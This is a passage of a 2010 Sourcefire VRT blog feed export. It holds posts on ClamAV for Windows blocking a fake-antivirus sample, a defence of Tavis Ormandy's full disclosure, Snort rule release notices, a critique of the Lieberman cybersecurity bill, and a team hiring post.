computer.&lt;/div&gt;&lt;div&gt;&lt;a href="http://labs.snort.org/images/history.png"&gt;&lt;img src="http://labs.snort.org/images/history.png" alt="history" width="400" height="250" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Pic.4: History tab&lt;/div&gt;&lt;div&gt;Finally, the "Summary" tab give you an overview of how many people are using the product as well as how many threats the ClamAV for Windows community is protected from thanks to the power of the cloud.&lt;/div&gt;&lt;div&gt;&lt;a href="http://labs.snort.org/images/summary.png"&gt;&lt;img src="http://labs.snort.org/images/summary.png" alt="summary" width="400" height="250" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Pic.5: Summary tab&lt;/div&gt;&lt;div&gt;The video below shows you the kind of nasty things you might encounter. On a completely clean computer, I visited a link that prompted me do download an executable called gb5339.exe. While you will hopefully not purposely visit a known bad URL, keep in mind that your computer could have automatically downloaded and executed this file via a drive-by-download (that's when a bad guy takes advantage of an vulnerability in your browser to force actions on your computer simply by visiting an infected web page), or through social engineering (eg: you get a spoofed email that appears to come from a know person that ask you to download the attached executable and run it....and you do). You can see in the video that shortly after running gb5339.exe, the background image changes to show "You are infected" in big red letters. Furthermore, a fake/rogue/bogus piece of antivirus software is loaded and reports that I have infected files on my computer. Again, I had a fresh installation of Windows XP. There are &lt;strong&gt;no&lt;/strong&gt; infected files on my computer. The fake antivirus program's goal is to scare me into believing that I am infected in order to purchase a license for the software that will supposedly help fix my problems. Good thing I didn't fall for that, and neither should you.&lt;/div&gt;&lt;div&gt;&lt;object width="640" height="480"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=12742002&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" /&gt;&lt;embed type="application/x-shockwave-flash" width="640" height="480" src="http://vimeo.com/moogaloop.swf?clip_id=12742002&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" allowfullscreen="true" allowscriptaccess="always"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;Ransomware in action on a PC&lt;/p&gt;&lt;br /&gt;﻿&lt;/div&gt;&lt;div&gt;Repeating the experiment with a clean computer and a fresh installation of Windows XP, but now with ClamAV for Windows installed, gb5339.exe is blocked as soon as I try to copy it on my hard drive (this is called blocking the file "on-access").&lt;/div&gt;&lt;div&gt;&lt;object width="640" height="480"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=12742388&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" /&gt;&lt;embed type="application/x-shockwave-flash" width="640" height="480" src="http://vimeo.com/moogaloop.swf?clip_id=12742388&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" allowfullscreen="true" allowscriptaccess="always"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;Ransomware being detected and it's actions blocked by ClamAV for Windows&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1016829649837011627?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1016829649837011627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1016829649837011627' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1016829649837011627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1016829649837011627'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/clamav-for-windows.html' title='ClamAV for Windows'/><author><name>Alain Zidouemba</name><uri>http://www.blogger.com/profile/12186945673160140627</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2240915942005400446</id><published>2010-06-21T11:29:00.001-04:00</published><updated>2010-06-21T12:01:18.922-04:00</updated><title type='text'>Defenders of the Faith</title><content type='html'>&lt;p&gt;&lt;span&gt;&lt;p&gt;Quite recently, Tavis Ormandy released a 0-day vulnerability in a prominent piece of software.  For this transgression, both he and his employer received a good deal of bad press.  Sadly, very few in the professional security researcher crowd made enough noise about this, and to the contrary, one man in particular came down squarely against him.  Thankfully however we still have Brad Spengler.  Last night he posted what none of us had the courage to say. You can find this post on the Daily Dave mailing list archives: &lt;a href="http://seclists.org/dailydave/2010/q2/58"&gt;http://seclists.org/dailydave/2010/q2/58&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I won't rehash the post, I'd very much rather you read it yourselves.  But I would like to point out the timeline.&lt;/p&gt;&lt;p&gt;June 5) Tavis contacts Microsoft requesting a 60 day patch timeframe.&lt;/p&gt;&lt;p&gt;June 5-9) Tavis and Microsoft argue about the patch timeframe and are unable to come to an agreement.&lt;/p&gt;&lt;p&gt;June 9) Tavis releases the information to the public.&lt;/p&gt;&lt;p&gt;June 11) Microsoft releases an automated FixIt solution&lt;/p&gt;&lt;p&gt;Tavis did not "give Microsoft 5 days to patch the bug" as was said by various media outlets.&lt;/p&gt;&lt;p&gt;As a few people (@dinodaizovi, @weldpond) have pointed out, this strikes at the heart of the term "Responsible Disclosure".   A clever branding trick by software vendors, the term automatically assumes that any other method of disclosure is irresponsible.  So we must ask, were the actions that  Tavis took responsible? Would it have been more responsible to allow a company to sit on a serious bug for an extended period of time? The bugs we are discussing are APT quality bugs. Disclosing them removes ammunition from APT attackers. If your goal is to stop attacks, where bugs are the supply chain of attacks, &lt;strong&gt;you must make bug and exploit creation prohibitively expensive as compared to the return on that investment&lt;/strong&gt;.  This is why OS mitigations are helpful.  Removing high-value bugs from the marketplace is what full disclosure is good at.&lt;/p&gt;&lt;p&gt;I'd like to explicitly debunk a couple of myths related to this issue now.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Myth 1)  Targets are a commodity. (All targets carry the same value)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;At some point, the security posture of common software is no longer about your mother's Windows XP desktop with a CRT monitor from 8 years back. It is not about the money wasted when sales people's laptops need to be reimaged.  It is about real security.  It is about the financial information of your public company.  It is about the plans for Marine 1 ending up in the hands of people who shouldn't have them. It is about the stability of our power grid.&lt;/p&gt;&lt;p&gt;This is because when a vulnerability becomes public it is no longer as useful for serious attackers. Defense companies provide detection and prevention mechanisms, researchers provide useful mitigations, and high end companies are able to arm their response teams with the information necessary to protect their particular environments.  The companies with high-value data that are regularly attacked are able to proactively protect themselves.  The attackers who have spent significant time evaluating a company's vulnerability with regard to a particular bug, will now find that bug to be much less useful for a stealthy attack.  Yes, you may see an uptick in attacks, but you see a downtick in overall target value.  The loss due to a 20+ company exploit spree such as "Aurora" is significantly greater than the monetary loss due to low-end compromises which can be cleaned with off the shelf anti-virus tools. No one is persistently using advanced exploitation techniques against low-value targets such as Joe's Desktop.  These attacks are focused on large corporations, government, and military targets with the goals of industrial espionage and military superiority.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Myth 2)  Only Tavis knew about the bug &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The media asks, "&lt;em&gt;how could attackers know about this flaw if Tavis hadn't released it?&lt;/em&gt;" Every bug hunter knows this statement is ridiculous. Security research, like all scientific research, moves like a flock of birds. I'm relatively sure that Leibniz wasn't spying on Newton's work, but they both developed calculus at the same time. They both had the same environment and the same problem to solve, so they developed the same working solution. I'm sure I'm not the only researcher to have lost bugs to another researcher's reporting. Within the past year I have lost several bugs which on the market would have sold for in excess of $65,000. At the point in which the bugs became public, their value dropped to approximately $0 because companies are able to build protections against the vulnerabilities. The bugs that I lost were bugs that had lived for more than 5 years, yet they were discovered independently by myself and others within months. Even if no one else had found the bug, there are other ways an attacker could become aware of it.  It would be unreasonable to assume that high-end researchers and their companies are not the targets of espionage.  The value of their research is high, and if an attacker can get a free exploit and know that it won't be patched in the next 60 days that is a win for the attacker. It is unreasonable to assume that a bug is not known to attackers once it is found by a researcher.  Tavis has protected high-value targets by refusing to allow an unreasonable timeline for patching.  Tavis has devalued the vulnerability by letting companies know about a threat that they otherwise would have been unaware of.   Tavis has acted responsibly.&lt;/p&gt;&lt;p&gt;The long and short of this is that when only a handful of people have information, that information is very valuable and very useful.  When everyone has this information, everyone can use it, but its value decreases significantly.  Tavis simply devalued this flaw. Yes, what Tavis did means you might have to reimage your mother's computer when you visit at Thanksgiving.  But also, what Tavis did means that you won't think twice about whether or not the power will be on when you get there.  Despite branding, what Tavis did was responsible. In this case, "responsible disclosure" wouldn't have been responsible.&lt;/p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2240915942005400446?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2240915942005400446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2240915942005400446' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2240915942005400446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2240915942005400446'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/defenders-of-faith.html' title='Defenders of the Faith'/><author><name>Lurene Grenier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_j63PsgqyKAg/SVlElKtvy4I/AAAAAAAAAAM/uYdFUHPszeU/S220/fuego-icon.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5463220327687517436</id><published>2010-06-17T16:26:00.001-04:00</published><updated>2010-06-17T16:27:16.584-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today - June 17th, 2010</title><content type='html'>&lt;p&gt;As a result of ongoing research, the Sourcefire VRT has added multiple  rules in the dos, exploit, ftp, mysql, policy, rpc, specific-threats,  spyware-put, web-activex, web-client, web-misc and web-php rule sets to  provide coverage for emerging threats from these technologies.&lt;/p&gt;&lt;p&gt;For a complete list of new and modified rules please see:&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.snort.org/vrt/docs/ruleset_changelogs/changes-2010-06-17.html"&gt;http://www.snort.org/vrt/docs/ruleset_changelogs/changes-2010-06-17.html﻿&lt;/a&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5463220327687517436?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5463220327687517436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5463220327687517436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5463220327687517436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5463220327687517436'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/rule-release-for-today-june-17th-2010.html' title='Rule Release for Today - June 17th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-653553684353045652</id><published>2010-06-15T09:17:00.009-04:00</published><updated>2010-06-15T10:23:47.595-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cybersecurity'/><title type='text'>National Cyber-Security Emergency and Phenomenal Cosmic Power or Lieberman -- EARN IT</title><content type='html'>So…you’re at the bar and across the room you see this incredible [insert whatever floats your boat here].You spend an inappropriate amount of your time watching this person and your mind starts to fill in the details that the dark environment masks. &amp;nbsp;Then they turn around walk towards the bar and (finally!) walk into enough light that you can see what they look like. &amp;nbsp;Your first thought…”&lt;strong&gt;KILL IT WITH FIRE!&lt;/strong&gt;”&lt;br /&gt;&lt;br /&gt;This is a lot how I felt as I read through the “&lt;em&gt;&lt;a href="http://hsgac.senate.gov/public/index.cfm?FuseAction=Files.View&amp;amp;FileStore_id=4ee63497-ca5b-4a4b-9bba-04b7f4cb0123"&gt;Protecting Cyberspace as a National Asset Act of 2010&lt;/a&gt;&lt;/em&gt;” (pdf), a 199 page piece of legislation introduced by Senator Lieberman (I-CT) along with Senator Susan Collins (R-ME) and Senator Thomas Carper (D-DE). &amp;nbsp;It’s worth noting, in reviewing the legislation that Susan Collins and Joe Lieberman are the ranking members of the Senate Committee on Homeland Security and Governmental Affairs for their respective parties (with Joe Lieberman counting as a Democrat for the purposes of committees).&lt;br /&gt;&lt;br /&gt;This is an impressive, expansive and ambitious piece of legislation, completely reworking the Federal government’s management of cyber security issues. &amp;nbsp;There are a lot of things in the bill that I think are necessary. &amp;nbsp;Of course, as you’ve probably seen by this point, there are a couple of issues that..erm..have “opportunity for improvement”.&lt;br /&gt;&lt;br /&gt;First up is the creation of the Office of Cyberspace Policy within the Office of the President. &amp;nbsp;There is little in our world today that is as poorly managed, rapidly changing and outright dangerous as “cyberspace”. &amp;nbsp;Having an apparatus at the level of the White House that manages these issues from a strategic point of view is important. &amp;nbsp;It is this office that would be tasked with creating a “&lt;em&gt;national strategy to increase the security and resiliency of cyberspace&lt;/em&gt;”.It is also the first place (page 9) you notice the incredible breadth of changes in the bill.&lt;br /&gt;&lt;br /&gt;The Director of Cyberspace Policy is tasked with, to paraphrase, overseeing all policies and activities of the Federal Government across “&lt;em&gt;all instruments of national power&lt;/em&gt;” to ensure the security and resiliency of cyberspace. &amp;nbsp;The act specifically cites diplomatic, economic, military, intelligence, law enforcement and homeland security activities and also calls for the management of “&lt;em&gt;offensive activities, defensive activities and other policies and activities necessary to ensure effective capabilities to operate in cyberspace&lt;/em&gt;”. &amp;nbsp;So while it is organized for “Protecting Cyberspace”, the options available to ensure cyberspace is available is…well everything, including utilizing the NSA and Cyber Commands offensive capabilities to keep the peace.This office operates at the highest executive level, and the capability of every tool available, even offensive ones, needs to be understood.&lt;br /&gt;&lt;br /&gt;Next, the National Center for Cybersecurity and Communications. &amp;nbsp;This is where a lot of the good work of this bill, in my opinion happens. &amp;nbsp;The most important one is called out specifically as a duty of the Director of the NCCC: “&lt;em&gt;sharing and integrating classified and unclassified information, including information relating to threats, vulnerabilities, traffic, trends, incidents and other anomalous activities&lt;/em&gt;”. &amp;nbsp;This determination to improve Government/Private sector communication comes into play again in the section defining the responsibilities of the US CERT. &amp;nbsp;The information isn’t limited to domestic sources either, with the bill specifically calling for the Secretary of Defense, the Director of National Intelligence, the Secretary of State and the Attorney General to develop “&lt;em&gt;information sharing pilot programs with international partners of the United States&lt;/em&gt;”.&lt;br /&gt;&lt;br /&gt;The communication thing is critically important. &amp;nbsp;This game is hard enough without having as much information as possible to base your defensive posture on. &amp;nbsp;One of the common complaints from the private sector (who run 80% of the “Critical Infrastructure” of the U.S.) is the difficulty in getting actionable informationout of the Government. The recently released “&lt;em&gt;High-Impact, Low-Frequency Event Risk to the North American Bulk Power System&lt;/em&gt;” report from the North American Electric Reliability Corporation calls out several times that “&lt;em&gt;focus should be given to improving the timely dissemination of information concerning impending threats and specific vulnerabilities&lt;/em&gt;” going on to say that "&lt;em&gt;more effort is needed to appropriately de-classify information needed by the private sector&lt;/em&gt;”.&lt;br /&gt;&lt;br /&gt;From the perspective of incident response, there is another important new service provided by the DHS. &amp;nbsp;"&lt;em&gt;The DHS will, at the request of critical infrastructure operators and provided the DHS has sufficient resources, to both assist the operator in complying with mandatory security and emergency measures&lt;/em&gt;" (yes, we’ll get to this…) as well as, through the US CERT “&lt;em&gt;respond to assistance requests from…owners or operators of the national information infrastructure to…isolate, mitigate or remediate incidents&lt;/em&gt;”.&lt;br /&gt;&lt;br /&gt;Now…you might have noticed that CERT is doing a lot of useful things from a central point for information to a cyber-guardian-angel ready to assist the most important components of the national information infrastructure in defending themselves from attack. &amp;nbsp;But there are some strings that come with this. Those entities deemed to be “&lt;em&gt;covered critical infrastructure&lt;/em&gt;” are required to report any cyber security issue that might indicate an actual or potential cyber vulnerability or exploitation of a cyber vulnerability. &amp;nbsp;And the DHS gets to decide the procedures to enable that reporting. &amp;nbsp;So if you’re a critical infrastructure operator…you are starting to get a little uncomfortable here, no matter how many disclaimers about the protection of information are placed into the bill.&lt;br /&gt;&lt;br /&gt;Then you look at Section 248: “&lt;em&gt;Cyber Vulnerabilities to Covered Critical Infrastructure&lt;/em&gt;”. &amp;nbsp;Between this and Section 250: &amp;nbsp;“&lt;em&gt;Enforcement&lt;/em&gt;” the DHS is granted near unlimited authority to deliver requirements to critical infrastructure providers on handling security threats. &amp;nbsp;In short, DHS can deliver a mandate that a certain security issue be addressed, and a set of mitigations to be used. &amp;nbsp;Now, in an exceptionally rare, well thought out approach to this mandate (and a shout out to Richard Clarke and the open-ended mandate crowd), the bill allows for the DHS to accept alternate mitigations provided by the operator if the DHS determines they are adequate. These requirements, as you can guess by the name of section 250 come with a “&lt;em&gt;civil penalty&lt;/em&gt;” if providers fail to address these issues.&lt;br /&gt;&lt;br /&gt;My inner Libertarian gets pretty spooked when it comes to this kind of thing. &amp;nbsp;But, to refer back to NERC’s HILF document, market forces seem to dictate doing the exact wrong thing when it comes to security:&lt;br /&gt;&lt;br /&gt;“&lt;em&gt;The increased use of IP networks for Supervisory Control and Data Acquisition (SCADA) and other operational control systems, in particular, creates potential vulnerabilities. Executives with SCADA/ICS responsibilities reported high levels of connections of those systems to IP networks including the Internet—even as they acknowledged that such connections create security issues.&lt;/em&gt;” --(pg31, NERC HILF, Cyber Vulnerability)&lt;br /&gt;&lt;br /&gt;Since NERC hasn’t been able to fix this, and the Department of Energy and Federal Energy Regulatory&amp;nbsp;Commission&amp;nbsp;apparently are unable to deliver the regulations necessary to fix it, maybe this is the only way to address these issues. When you declare that an electric grid is a system “&lt;em&gt;so vital to the United States that the incapacity or destruction of such…would have a debilitating impact on security, national economic security….&lt;/em&gt;” maybe you should &lt;strong&gt;keep the damn thing off the Internet&lt;/strong&gt;. (I'm going to say this more than once, just so you know). &amp;nbsp;It seems so obvious to every security professional I talk to and to NERC itself. &amp;nbsp;Clearly they won’t self regulate here, so maybe this is the answer. (Note that I understand that this act targets “&lt;em&gt;National Critical Information Infrastructure&lt;/em&gt;”, but the market and privacy concerns in the information infrastructure are 10 times worse, yet we haven't even addressed the "easy" (for some value of easy) case).&lt;br /&gt;&lt;br /&gt;Then, finally we get to the section that drives everyone nuts (you know, the kill-it-with-fire part). Section 249:&amp;nbsp;National Cyber Emergencies. &amp;nbsp;In short, the DHS has the authority, when the President declares a Cyber Emergency to “&lt;em&gt;develop and coordinate emergency measures or actions necessary to preserve the reliableoperation and mitigate or remediate the consequences&lt;/em&gt;”. &amp;nbsp;What this means is that in a “&lt;em&gt;Cyber Emergency&lt;/em&gt;”, the DHS can do anything it feels necessary to the critical infrastructure systems of the U.S. and can mobilize the entirety of the Federal Government, provided the DHS does not “&lt;em&gt;supersede the authority of the Secretary of Defense, the Attorney General or the Director of National Intelligence in responding to a national cyber emergency&lt;/em&gt;”.&lt;br /&gt;&lt;br /&gt;Yeah, this is a good time to panic. I think we’ve amply demonstrated over the last decade that even when a President is restricted by law his actions can be…aggressive, and this essentially hands over to the executive branch the complete control of the nations critical infrastructure. &amp;nbsp;It doesn’t matter that there are hoops to jump through, the authority and the broad power that this bill allows for is simply unacceptable. &amp;nbsp;Further, we’ve absolutely avoided holding any high-level political figure accountable for his or her actions (did you just say Scooter Libby? Stop it…) as they relate to violations on the restriction of powers. We just don’t do it.&lt;br /&gt;&lt;br /&gt;Also, I've never had a great deal of respect for anyone that comes to me in a panic about some issue when they've failed to do the things already in their power to address it themselves. &amp;nbsp;There is already regulatory power already vested in a number of Government entities, and they have failed to exercise that power (DOE, FERC, &amp;nbsp;I'm looking at you) to mandate even the most basic of security practices (like not putting our power grid on the Internet). &amp;nbsp;The list of "Critical Infrastructure" that relies on the Internet is simply unforgivable. &amp;nbsp;If its critical, get the damn thing off the Espionage Super-Highway. &amp;nbsp;What I'm saying here, is don't come to me saying you need broad, unmitigated power to manage a situation because it is so horrible when you have failed utterly to mitigate and reduce the chance that that situation will actually come to fruition. &lt;br /&gt;&lt;br /&gt;This clause is glass-house based rock throwing. &amp;nbsp;When the Federal&amp;nbsp;Government&amp;nbsp;demonstrates that it can protect itself from cyber attack, when you can stop the terabytes of data flooding from&amp;nbsp;Government&amp;nbsp;and defense contractors, when they show that this issue is so important that they are willing to deliver regulation NOW to these critically important organizations, when you've done everything you can to ensure that this power will never need to be used...then, and only then is it appropriate to discuss this. &amp;nbsp;Earn it, Senator Lieberman, show me that the Federal Government is willing to do more than just panic after the fact. &amp;nbsp;(Hello 9/11, Katrina, BP).&lt;br /&gt;&lt;br /&gt;All this and I didn’t even get to the part where the Director has “&lt;em&gt;&lt;strong&gt;sole, unreviewable discretion&lt;/strong&gt;&lt;/em&gt;” to decide how to address problem and deficiencies related to security issues in “&lt;em&gt;national information infrastructure&lt;/em&gt;” or any infrastructures that is “&lt;em&gt;owned, operated, controlled or licensed for use by, or on behalf of, the [DoD] or intelligence community&lt;/em&gt;”. &amp;nbsp;Look….using terms like “&lt;em&gt;&lt;strong&gt;sole, unreviewable discretion&lt;/strong&gt;&lt;/em&gt;” just isn’t conducive to a trusting relationship between the public sector and the DHS. &amp;nbsp;We’re already mad at you about the whole shoe thing anyways.&lt;br /&gt;&lt;br /&gt;So here’s the deal, Sen. Lieberman.You’re on the right track here, concentrate on the following:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Ensuring open communications channels between the private sector and the Federal Government. &lt;/li&gt;&lt;li&gt;Ensure an aggressive declassification (within the limits of law and protecting sources, etc…) of threat information so that the private sector can be notified so they can modify their defensive posture. &lt;/li&gt;&lt;li&gt;Build a coordination center that targets not just Federal to Private sector communication, but communications within an industry vertical with the ability to bring in both offensive and defensive experts to assist in mitigations. &lt;/li&gt;&lt;li&gt;Provide an avenue for technical assistance to critical infrastructure organizations so that even organizations without a mature security posture can react in an agile manner to threats. &lt;/li&gt;&lt;li&gt;If market forces don’t move critical infrastructure operators to do right, then fix it. &lt;/li&gt;&lt;li&gt;Prove that you are willing to take the steps necessary to prevent incidents of this magnitude prior to them happening.&lt;/li&gt;&lt;li&gt;Let’s revisit the “Incredible Cosmic Power” approach to incident response.Even if it is scaled back to providing a list of recommended actions backed by an automatic exemption from civil liability if organizations act on them.But we cannot simply hand over the infrastructure to the Federal government. &lt;/li&gt;&lt;/ol&gt;Good luck, Joe…unfortunately, you’re going to need it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-653553684353045652?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/653553684353045652/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=653553684353045652' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/653553684353045652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/653553684353045652'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/national-cyber-security-emergency-and.html' title='National Cyber-Security Emergency and Phenomenal Cosmic Power or Lieberman -- EARN IT'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2898103251109435536</id><published>2010-06-14T15:20:00.001-04:00</published><updated>2010-06-14T15:20:38.111-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today - June 14th, 2010</title><content type='html'>&lt;p&gt;Apple Safari RCE (CVE-2010-1939), Google Chrome GLUG bypass (CVE-2010-1663)﻿. Details available here: &lt;a href="http://www.snort.org/vrt/advisories/2010/06/14/vrt-rules-2010-06-14.html/"&gt;http://www.snort.org/vrt/advisories/2010/06/14/vrt-rules-2010-06-14.html/&lt;/a&gt;﻿&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2898103251109435536?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2898103251109435536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2898103251109435536' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2898103251109435536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2898103251109435536'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/rule-release-for-today-june-14th-2010.html' title='Rule Release for Today - June 14th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-13839495259316434</id><published>2010-06-14T08:46:00.000-04:00</published><updated>2010-06-14T08:46:33.508-04:00</updated><title type='text'>Sourcefire VRT Expansion Plans (We are Hiring)</title><content type='html'>One of the hardest things in life is finding the right place to work, where you can spend eight to ten hours a day doing something you enjoy and also pay your bills.  I’ve been lucky enough in my life to find this type of place three times: HiverWorld, Farm9, and Sourcefire.  Each one of these places had a number of attributes that made it appealing to me, and made it where I wanted to spend the vast majority of my time.  Since I’m lucky (maybe unlucky) enough to be the guy responsible for the Sourcefire VRT, I’ve been able to take all the things that appealed to me about all these companies, and build a team where the people have all the right personality traits, and the environment has all of the right factors.  &lt;br /&gt;&lt;br /&gt;If the following 10 things appeal to you and describe the qualities you want in your co-workers and your workplace, then the VRT is interested in talking with you.  Please submit your resume on Sourcefire’s website or send us a message at research@sourcefire.com&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jobs.sourcefire.com/epostings/submit.cfm?version=1&amp;company_id=15640&amp;jobid=0&amp;fuseaction=app.candidateinfo&amp;source=ONLINE"&gt;Submit Resume here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Passion (for the work)&lt;/span&gt; – Very few people are trained academically for vulnerability analysis, malware analysis, network engineering, or hacking.  It is something that is learned by experience and experimentation.  If you have dedicated your free time and lost countless days and nights perfecting some portion of it then you have the passion I’m talking about.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Good people&lt;/span&gt; – If you enjoy an environment were everyone around you is better than you at something and is willing to teach you their skill in exchange for your own, then the VRT might be the right place for you.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Goals&lt;/span&gt; – Clear definitions of strategic goals to the best of my ability and my managers’ abilities.  If we can’t clearly explain the “why” then we won’t ask you to waste your time on it.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Belief&lt;/span&gt; – A group of people that share an intrinsic belief that it is possible to accomplish difficult, if not “currently” impossible, goals.  More importantly, this belief is present not because of arrogance, but because of our experience proving that we actually can accomplish these goals.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Drive&lt;/span&gt; – A personal drive that exceeds the average.  If you’ve worked on a problem for many months, still haven’t solved it, but truly believe you will shortly, you are either hard headed or have a lot of drive.  Whether you’re pushing yourself by hitting your head on a wall, or just plain never giving up, you will most likely create a positive outcome.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Latitude&lt;/span&gt; – If you hate rules but understand personal responsibility, this might be the environment for you.  You’ll get just enough rope to hang yourself, as long as you take responsibility for your own demise.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Trust&lt;/span&gt; – An environment were you can trust the people you work with to actually do what they say, do it to the best of their ability, and trust you to do the 